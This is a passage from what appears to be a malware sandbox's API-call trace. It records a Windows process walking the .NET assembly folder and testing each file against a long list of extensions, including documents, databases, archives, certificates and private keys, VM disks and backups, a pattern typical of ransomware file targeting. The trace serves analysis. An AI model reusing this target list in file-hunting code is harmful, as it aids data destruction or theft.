(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mdb") returned 0 [0098.655] lstrlenA (lpString="*.mdb") returned 5 [0098.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.fdb") returned 0 [0098.656] lstrlenA (lpString="*.fdb") returned 5 [0098.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.wab") returned 0 [0098.656] lstrlenA (lpString="*.wab") returned 5 [0098.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.dat") returned 0 [0098.658] lstrlenA (lpString="*.dat") returned 5 [0098.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.txt") returned 0 [0098.658] lstrlenA (lpString="*.txt") returned 5 [0098.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.jpeg") returned 0 [0098.658] lstrlenA (lpString="*.jpeg") returned 6 [0098.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.jpg") returned 0 [0098.658] lstrlenA (lpString="*.jpg") returned 5 [0098.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.png") returned 0 [0098.659] lstrlenA (lpString="*.png") returned 5 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.php") returned 0 [0098.659] lstrlenA (lpString="*.php") returned 5 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.cs") returned 0 [0098.659] lstrlenA (lpString="*.cs") returned 4 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.cpp") returned 0 [0098.659] lstrlenA (lpString="*.cpp") returned 5 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.rar") returned 0 [0098.659] lstrlenA (lpString="*.rar") returned 5 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.zip") returned 0 [0098.659] lstrlenA (lpString="*.zip") returned 5 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.html") returned 0 [0098.659] lstrlenA (lpString="*.html") returned 6 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.htm") returned 0 [0098.659] lstrlenA (lpString="*.htm") returned 5 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.xlsx") returned 0 [0098.659] lstrlenA (lpString="*.xlsx") returned 6 [0098.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.xls") returned 0 [0098.660] lstrlenA (lpString="*.xls") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mp4") returned 0 [0098.660] lstrlenA (lpString="*.mp4") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.ppt") returned 0 [0098.660] lstrlenA (lpString="*.ppt") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.pptx") returned 0 [0098.660] lstrlenA (lpString="*.pptx") returned 6 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.doc") returned 0 [0098.660] lstrlenA (lpString="*.doc") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.dot") returned 0 [0098.660] lstrlenA (lpString="*.dot") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.docx") returned 0 [0098.660] lstrlenA (lpString="*.docx") returned 6 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.7z") returned 0 [0098.660] lstrlenA (lpString="*.7z") returned 4 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.tar") returned 0 [0098.660] lstrlenA (lpString="*.tar") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.bz2") returned 0 [0098.660] lstrlenA (lpString="*.bz2") returned 5 [0098.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.gz") returned 0 [0098.661] lstrlenA (lpString="*.gz") returned 4 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mkv") returned 0 [0098.661] lstrlenA (lpString="*.mkv") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.eml") returned 0 [0098.661] lstrlenA (lpString="*.eml") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.msg") returned 0 [0098.661] lstrlenA (lpString="*.msg") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.edb") returned 0 [0098.661] lstrlenA (lpString="*.edb") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.accdb") returned 0 [0098.661] lstrlenA (lpString="*.accdb") returned 7 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.odb") returned 0 [0098.661] lstrlenA (lpString="*.odb") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.java") returned 0 [0098.661] lstrlenA (lpString="*.java") returned 6 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.asm") returned 0 [0098.661] lstrlenA (lpString="*.asm") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.pfx") returned 0 [0098.661] lstrlenA (lpString="*.pfx") returned 5 [0098.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.pem") returned 0 [0098.662] lstrlenA (lpString="*.pem") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.p12") returned 0 [0098.662] lstrlenA (lpString="*.p12") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.gpg") returned 0 [0098.662] lstrlenA (lpString="*.gpg") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.vsd") returned 0 [0098.662] lstrlenA (lpString="*.vsd") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.odg") returned 0 [0098.662] lstrlenA (lpString="*.odg") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.raw") returned 0 [0098.662] lstrlenA (lpString="*.raw") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.nef") returned 0 [0098.662] lstrlenA (lpString="*.nef") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.svg") returned 0 [0098.662] lstrlenA (lpString="*.svg") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.psd") returned 0 [0098.662] lstrlenA (lpString="*.psd") returned 5 [0098.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.vmx") returned 0 [0098.662] lstrlenA (lpString="*.vmx") returned 5 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.vmdk") returned 0 [0098.663] lstrlenA (lpString="*.vmdk") returned 6 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.vdi") returned 0 [0098.663] lstrlenA (lpString="*.vdi") returned 5 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.lay6") returned 0 [0098.663] lstrlenA (lpString="*.lay6") returned 6 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mpeg") returned 0 [0098.663] lstrlenA (lpString="*.mpeg") returned 6 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.djvu") returned 0 [0098.663] lstrlenA (lpString="*.djvu") returned 6 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.tiff") returned 0 [0098.663] lstrlenA (lpString="*.tiff") returned 6 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.backup") returned 0 [0098.663] lstrlenA (lpString="*.backup") returned 8 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.pdf") returned 0 [0098.663] lstrlenA (lpString="*.pdf") returned 5 [0098.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.cert") returned 0 [0098.663] lstrlenA (lpString="*.cert") returned 6 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.docm") returned 0 [0098.664] lstrlenA (lpString="*.docm") returned 6 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.xlsm") returned 0 [0098.664] lstrlenA (lpString="*.xlsm") returned 6 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.dwg") returned 0 [0098.664] lstrlenA (lpString="*.dwg") returned 5 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.nd") returned 0 [0098.664] lstrlenA (lpString="*.nd") returned 4 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.tlg") returned 0 [0098.664] lstrlenA (lpString="*.tlg") returned 5 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.lgb") returned 0 [0098.664] lstrlenA (lpString="*.lgb") returned 5 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mov") returned 0 [0098.664] lstrlenA (lpString="*.mov") returned 5 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.xdw") returned 0 [0098.664] lstrlenA (lpString="*.xdw") returned 5 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.ods") returned 0 [0098.664] lstrlenA (lpString="*.ods") returned 5 [0098.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.wav") returned 0 [0098.664] lstrlenA (lpString="*.wav") returned 5 [0098.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mp3") returned 0 [0098.665] lstrlenA (lpString="*.mp3") returned 5 [0098.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.aiff") returned 0 [0098.665] lstrlenA (lpString="*.aiff") returned 6 [0098.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.flac") returned 0 [0098.665] lstrlenA (lpString="*.flac") returned 6 [0098.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.m4a") returned 0 [0098.665] lstrlenA (lpString="*.m4a") returned 5 [0098.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.csv") returned 0 [0098.665] lstrlenA (lpString="*.csv") returned 5 [0098.665] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a2b24b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a2b24b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a2d8610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.665] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.665] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2b24b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a2b24b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a2b24b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.665] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.665] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30bdf90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30bdf90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30bdf90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x746e656d, dwReserved1=0x2e39762e, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0", cAlternateFileName="MI0231~1.0")) returned 1 [0098.665] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0") returned -1 [0098.666] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0") returned -1 [0098.666] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0098.666] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0" [0098.666] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0") returned 82 [0098.666] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30bdf90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30bdf90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30bdf90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0098.667] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.667] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30bdf90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30bdf90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30bdf90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 